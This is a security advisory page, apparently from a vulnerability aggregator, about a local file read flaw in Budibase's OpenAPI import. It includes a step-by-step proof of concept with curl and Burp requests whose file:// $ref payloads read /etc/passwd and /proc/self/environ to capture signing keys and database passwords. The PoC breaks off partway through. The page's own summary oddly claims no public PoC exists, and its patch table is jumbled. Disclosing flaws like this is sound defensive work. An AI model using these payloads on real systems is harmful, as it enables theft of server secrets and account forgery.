GHSA-8XR5-PGGF-26JQ
Arbitrary local file read via external `$ref` resolution in OpenAPI/Swagger datasource import (POST /api/queries/import/info)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8XR5-PGGF-26JQ divulgada · CVSS 9.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Description
Summary
Budibase's REST-datasource OpenAPI/Swagger import parses an attacker-supplied API specification and, during schema validation, resolves external JSON `$ref` pointers with the filesystem resolver enabled. Any user with a builder session can embed `{"$ref":"file:///etc/passwd"}` (or any other `file://` path) inside the spec and have the Budibase server read an arbitrary local file and return its contents in the import response.
Pointing the reference at `file:///proc/self/environ` returns the server process environment, which contains the instance-wide `JWT_SECRET`, `INTERNAL_API_KEY`, CouchDB admin URL/password, MinIO access & secret keys, Redis password, and several other secrets - a full compromise of the deployment's trust material. The leaked `JWT_SECRET` is the single key Budibase uses to sign session tokens, so an attacker can forge a token for any user and escalate a builder to global admin, or impersonate any account.
This defeats every other Budibase control in this area: network datasource requests go through `fetchWithBlacklist` (SSRF blocklist) and builder JavaScript runs inside an `isolated-vm` sandbox with no filesystem access. The import path bypasses both.
Details
The import controller builds an importer and, for OpenAPI input, runs `parseData(data)` then `validate(document)`:
packages/server/src/api/controllers/query/import/sources/base/openapi.ts
36 parseData = async (data) => {
37 const baseOptions = { resolve: { external: false } } // external OFF (safe)
44 const document = await SwaggerParser.parse(parsedInput, baseOptions)
45 return document
46 }
48 validate = async (document) => {
49 const baseOptions = { resolve: { external: false } }
55 try {
56 return await SwaggerParser.validate(document) // <-- NO OPTIONS: external default = TRUE
57 } catch (err) {
62 return await SwaggerParser.dereference(document, baseOptions) // external OFF (safe) fallback
}Line 56 is the sink. `SwaggerParser.validate(document)` is called without `resolve: { external: false }`, so `@apidevtools/swagger-parser@12.1.0` falls back to its default (`resolve.external = true`) and enables the filesystem resolver. Every `$ref` in the document is resolved/dereferenced before schema validation runs, so a `file://` pointer is read from disk and inlined into the document.
Two positions both leak the file:
- A pointer in an object position (e.g. a `schema`) makes validation throw *after* the read - enough for a blind read; the content is already inlined into the object returned by the `dereference` fallback.
- A pointer in a string position that `getInfo()` surfaces - most cleanly `info.title`, which is returned verbatim as the response `name` - makes validation succeed and returns the file content directly. This is the reflected-read variant used in the PoC below.
Because `parse` (line 37) and the `dereference` fallback (line 49) correctly pass `resolve.external:false`, the fix is a one-line change: `validate` must pass the same option.
Notes verified against the running instance:
- `@apidevtools/swagger-parser@12.1.0` resolves `file://` and relative paths but does not fetch `http(s)://` `$ref`s, so the practical impact is local file read (LFI), not outbound SSRF.
- The resolved content reaches the caller via `OpenAPI3.getInfo()` (`.../import/sources/openapi3.ts:460-481`, `name = this.document.info.title`).
- Route registration is builder-gated: `packages/server/src/api/routes/query.ts:41-42` (`builderRoutes`).
PoC
Target: Budibase v3.44.0 (`v3.44.0-cloud.2`, commit `d1ed6085`), single self-host image, at `http://127.0.0.1:3014`. Builder account `admin@budibase.local`. App id `app_dev_cc322a9cd27a492eb934f43b146c6e81`. All values below are real, unredacted output captured live from the instance on 2026-09-02.
---
Step 0 - Authenticate as a builder (obtain the session token)
curl
B=http://127.0.0.1:3014
curl -s -i -c admin.cookies \
-X POST "$B/api/global/auth/default/login" \
-H 'Content-Type: application/json' \
-d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}'Burp - Request
POST /api/global/auth/default/login HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 65
Connection: close
{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}Burp - Response (the real, signed session token is issued here)
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 05:45:39 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 30
Connection: keep-alive
x-budibase-tenant-id: default
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU; path=/; expires=Wed, 09 Sep 2026 05:45:39 GMT; httponly
Set-Cookie: budibase:auth.sig=K8Ig2OKbnEXs4kRdGq9pJPWBbsY; path=/; expires=Wed, 09 Sep 2026 05:45:39 GMT; httponly
x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU
X-Session-Invalidated-Count: 1
{"message":"Login successful"}Session cookie used for every request below:
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU; budibase:auth.sig=K8Ig2OKbnEXs4kRdGq9pJPWBbsY---
Step 1 - Baseline (benign `info.title`, proves the field is echoed)
curl
curl -s -i -b admin.cookies \
-X POST "$B/api/queries/import/info" \
-H 'Content-Type: application/json' \
-H 'x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81' \
--data '{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":\"BENIGN-TITLE\",\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}'Burp - Request
POST /api/queries/import/info HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU; budibase:auth.sig=K8Ig2OKbnEXs4kRdGq9pJPWBbsY
Content-Length: 170
Connection: close
{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":\"BENIGN-TITLE\",\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}Burp - Response
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
{"name":"BENIGN-TITLE","endpoints":[{"id":"get::/x","name":"Get X","method":"GET","path":"/x","queryVerb":"read","originalPath":"/x","bodyType":"none"}],"securityHeaders":[],"staticVariables":{"baseUrl":""}}The `name` field returns the literal title - the field is reflected verbatim.
---
Step 2 - Payload: read `/etc/passwd` via `file://` `$ref`
The only change from Step 1 is replacing the `title` string with `{"$ref":"file:///etc/passwd"}`.
curl
curl -s -i -b admin.cookies \
-X POST "$B/api/queries/import/info" \
-H 'Content-Type: application/json' \
-H 'x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81' \
--data '{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":{\"$ref\":\"file:///etc/passwd\"},\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}'Burp - Request
POST /api/queries/import/info HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU; budibase:auth.sig=K8Ig2OKbnEXs4kRdGq9pJPWBbsY
Content-Length: 187
Connection: close
{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":{\"$ref\":\"file:///etc/passwd\"},\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}Burp - Response (server's `/etc/passwd` returned in `name`)
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=utf-8
{"name":"root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash couchdb:x:5984:5984::/opt/couchdb:/bin/sh systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:101::/nonexistent:/usr/sbin/nologin polkitd:x:997:997:polkit:/nonexistent:/usr/sbin/nologin uuidd:x:101:102::/run/uuidd:/usr/sbin/nologin redis:x:102:103::/var/lib/redis:/usr/sbin/nologin postgres:x:103:105:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash","endpoints":[{"id":"get::/x","name":"Get X","method":"GET","path":"/x","queryVerb":"read","originalPath":"/x","bodyType":"none"}],"securityHeaders":[],"staticVariables":{"baseUrl":""}}---
Step 3 - Impact: read `/proc/self/environ` to steal instance secrets
Change the `$ref` to `file:///proc/self/environ`. `--compressed` is added because the environ blob is large.
curl
curl -s -i --compressed -b admin.cookies \
-X POST "$B/api/queries/import/info" \
-H 'Content-Type: application/json' \
-H 'x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81' \
--data '{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":{\"$ref\":\"file:///proc/self/environ\"},\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}'Burp - Request
POST /api/queries/import/info HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81
Accept-Encoding: gzip, deflate
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6ImM5Y2Q2NzRhN2IyZTRhNGE4NjA2ODFhYTNhNjZmN2M2IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMyNzkzOSwiZXhwIjoxNzg4OTMyNzM5fQ.oAbQnI1kIAGGbWkl3Uqxeo027mu8QHOsfjhaE-_uVTU; budibase:auth.sig=K8Ig2OKbnEXs4kRdGq9pJPWBbsY
Content-Length: 194
Connection: close
{"data":"{\"openapi\":\"3.0.0\",\"info\":{\"title\":{\"$ref\":\"file:///proc/self/environ\"},\"version\":\"1\"},\"paths\":{\"/x\":{\"get\":{\"responses\":{\"200\":{\"description\":\"ok\"}}}}}}"}Burp - Response (process environment returned in `name`; NUL bytes shown as `
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.45.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-8xr5-pggf-26jqLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
